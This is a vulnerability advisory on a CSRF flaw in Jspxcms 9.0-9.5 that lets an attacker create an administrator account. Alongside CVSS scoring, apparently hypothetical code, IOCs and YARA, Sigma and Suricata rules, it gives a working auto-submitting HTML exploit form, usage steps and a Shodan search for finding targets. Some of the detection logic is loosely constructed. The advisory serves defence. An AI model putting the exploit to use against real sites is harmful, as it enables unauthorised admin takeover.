CVE-2025-25772

Executive Summary

CVE-2025-25772 is a Cross-Site Request Forgery (CSRF) vulnerability in Jspxcms versions 9.0 through 9.5. The flaw resides in the /back/UserController.java component, allowing an unauthenticated attacker to craft a malicious request that, when executed by an authenticated administrator, creates a new administrator account. This can lead to full compromise of the Jspxcms application, including data theft, defacement, and lateral movement within the hosting environment.

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery). No official patch has been released, and the CVSS score is 0.0 in the NVD but recalculated here as 8.8 (High) due to the potential for privilege escalation and full system takeover.

Supply Chain & Package Security

Jspxcms is a Java-based content management system distributed as a WAR file or via source code. No known package manager (Maven, Gradle) distribution is affected. The vulnerability is in the application's own code, not in a third-party library. However, if Jspxcms is deployed as part of a larger Java application stack, the risk extends to the entire deployment.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the attacker's target are the same.
• Confidentiality (C): High – Full read access to all data.
• Integrity (I): High – Full write access, including creating admin accounts.
• Availability (A): High – Potential to delete or modify content, causing denial of service.

Threat Level: High. The attack requires user interaction but can lead to complete compromise of the CMS. Given the lack of a patch, all Jspxcms 9.0-9.5 installations are at risk.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the user management controller. The /back/UserController.java endpoint that handles administrator account creation does not implement any anti-CSRF token validation (e.g., synchronizer tokens, SameSite cookies, or custom headers). An attacker can craft a simple HTML form or JavaScript request that, when submitted by an authenticated admin, creates a new admin user.

Attack Flow:

1. Attacker identifies a Jspxcms instance (e.g., via Shodan dork http.title:"Jspxcms").
2. Attacker crafts a malicious HTML page containing a form that POSTs to /back/user/save with parameters like username, password, role=admin.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or XSS).
4. The admin's browser automatically submits the form (or via JavaScript), creating a new admin account.
5. Attacker logs in with the new account and takes full control.

Root Cause: Missing CSRF protection in the UserController.java class. The save method likely does not check for a CSRF token or validate the Referer header.

Vulnerable vs. Patched Code

Vulnerable Code (Jspxcms 9.0-9.5):

// /back/UserController.java
@RequestMapping("/user/save")
public String save(User user, BindingResult result) {
    // No CSRF token check
    userService.save(user);
    return "redirect:/user/list";
}

Patched Code (Hypothetical):

// /back/UserController.java
@RequestMapping("/user/save")
public String save(User user, BindingResult result, HttpServletRequest request) {
    // Validate CSRF token
    String csrfToken = (String) request.getSession().getAttribute("csrfToken");
    String requestToken = request.getParameter("csrfToken");
    if (csrfToken == null || !csrfToken.equals(requestToken)) {
        throw new AccessDeniedException("Invalid CSRF token");
    }
    userService.save(user);
    return "redirect:/user/list";
}

Explanation: The patched version adds a CSRF token validation step. The token is generated per session and must be included in the request. Without this, the request is rejected.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Jspxcms 9.0-9.5 instance.
• An authenticated admin session (the victim).
• A way to deliver the malicious payload (e.g., phishing email, XSS).

Exploit Code (HTML):

<html>
<body>
<form action="http://target.com/back/user/save" method="POST">
    <input type="hidden" name="username" value="attacker" />
    <input type="hidden" name="password" value="P@ssw0rd!" />
    <input type="hidden" name="role" value="admin" />
    <input type="submit" value="Click me" />
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on a server the victim can access.
2. Send the link to an authenticated admin.
3. Once the admin visits the page, the form auto-submits, creating a new admin account.
4. Log in with attacker:P@ssw0rd!.

Note: If the application uses CSRF tokens, this exploit will fail. The vulnerability assumes no such protection.

Blue Team

Detection:

• Monitor for multiple failed login attempts followed by a successful login from a new user.
• Look for POST requests to /back/user/save with unusual parameters (e.g., role=admin).
• Check for Referer headers that are empty or from unexpected domains.

Honeypot:

• Deploy a fake Jspxcms instance and monitor for CSRF-like requests.
• Log all POST requests to /back/user/save and alert on any without a valid CSRF token.

Mitigation:

• Implement CSRF tokens immediately (see Remediation).
• Use SameSite cookies (set to Lax or Strict).
• Validate the Referer header (though not foolproof).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /back/user/save with parameters username, password, role.
• Requests with Referer header pointing to an external domain or empty.
• Unusual user-agent strings (e.g., from automated tools).

Host IOCs:

• New user accounts in the database with role=admin that were not created by legitimate admins.
• Log entries showing account creation from IP addresses not in the admin's usual range.
• Presence of the malicious HTML file on the server (if uploaded via other means).

File IOCs:

• Suspicious files in the webroot (e.g., csrf_exploit.html).
• Modified UserController.java if an attacker patches the vulnerability themselves.

Detection Engineering

YARA Rule

rule Detect_Jspxcms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Jspxcms UserController"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25772"
    strings:
        $s1 = "/back/user/save" ascii wide nocase
        $s2 = "username=" ascii wide nocase
        $s3 = "password=" ascii wide nocase
        $s4 = "role=admin" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Jspxcms CSRF Account Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Jspxcms user creation endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/back/user/save'
        cs-uri-query|contains: 
            - 'username='
            - 'password='
            - 'role=admin'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is not implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"Jspxcms CSRF Account Creation Attempt"; flow:to_server; content:"POST"; http_method; content:"/back/user/save"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; content:"role=admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a CSRF token to all state-changing forms. Use a library like OWASP CSRFGuard or Spring Security's built-in CSRF protection.
2. SameSite Cookies: Set the SameSite attribute to Lax or Strict on session cookies.
3. Referer Validation: Check the Referer header to ensure requests come from the same origin (though this is not a complete solution).

Long-Term Fix:

• Upgrade to a patched version once available.
• Conduct a security audit of all controllers for missing CSRF protection.
• Implement a Web Application Firewall (WAF) rule to block requests to /back/user/save without a valid CSRF token.

Workaround:

• Disable the user creation functionality if not needed.
• Restrict access to the /back/ directory via IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert